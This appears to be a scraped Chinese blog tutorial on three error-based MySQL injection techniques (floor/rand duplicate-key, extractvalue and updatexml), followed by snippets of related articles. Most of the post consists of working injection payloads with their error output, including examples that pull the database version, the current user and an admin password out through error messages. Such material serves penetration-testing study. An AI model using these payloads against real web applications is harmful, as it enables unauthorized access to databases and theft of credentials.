mysql 3種注入報錯利用方法

2021-12-29 22:49:26 字數 2010 閱讀 4273

1、通過floor報錯

可以通過如下一些利用**

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

舉例如下:

首先進行正常查詢:

mysql> select * from article where id = 1;

| id | title | content |

| 1 | test | do it |

假如id輸入存在注入的話,可以通過如下語句進行報錯。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

error 1062 (23000): duplicate entry 『5.1.33-community-log1』 for key 『group_key』

可以看到成功爆出了mysql的版本,如果需要查詢其他資料,可以通過修改version()所在位置語句進行查詢。

例如我們需要查詢管理員使用者名稱和密碼:

method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

error 1062 (23000): duplicate entry 『admin8881』 for key 『group_key』

method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

error 1062 (23000): duplicate entry 『admin8881』 for key 『group_key』

2、extractvalue

測試語句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

實際測試過程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

error 1105 (hy000): xpath syntax error: 『\admin888』

3、updatexml

測試語句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

實際測試過程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))error 1105 (hy000): xpath syntax error: 『:root@localhost』

MySQL注入中報錯的利用

mysql注入中報錯的利用 在很多的情況 下我們不能直接方便的進行注入,於是有了benchmark延遲注射,如果能得到mysql的錯誤資訊的話,現在又有了更方便的方法。網上流傳了兩三種方法,以前我在blog也記錄了其中一種 利用mysql出錯爆出字段 mysql select from select...

MySQL注入中報錯的利用

作者 xxbing 在很多的情況 下我們不能直接方便的進行注入,於是有了benchmark延遲注射,如果能得到mysql的錯誤資訊的話,現在又有了更方便的方法。網上流傳了兩三種方法,以前我在blog也記錄了其中一種。前段時間在t00ls上看到的另一種 類似這樣 mysql select 1 from...

mysql中造3千條資料(3種方法)

方法一 儲存過程 1 儲存過程如下 delimiter drop procedure ifexists data create procedure data in i int begin while i 3000 do insert into goods values 錘子手機 i set i i ...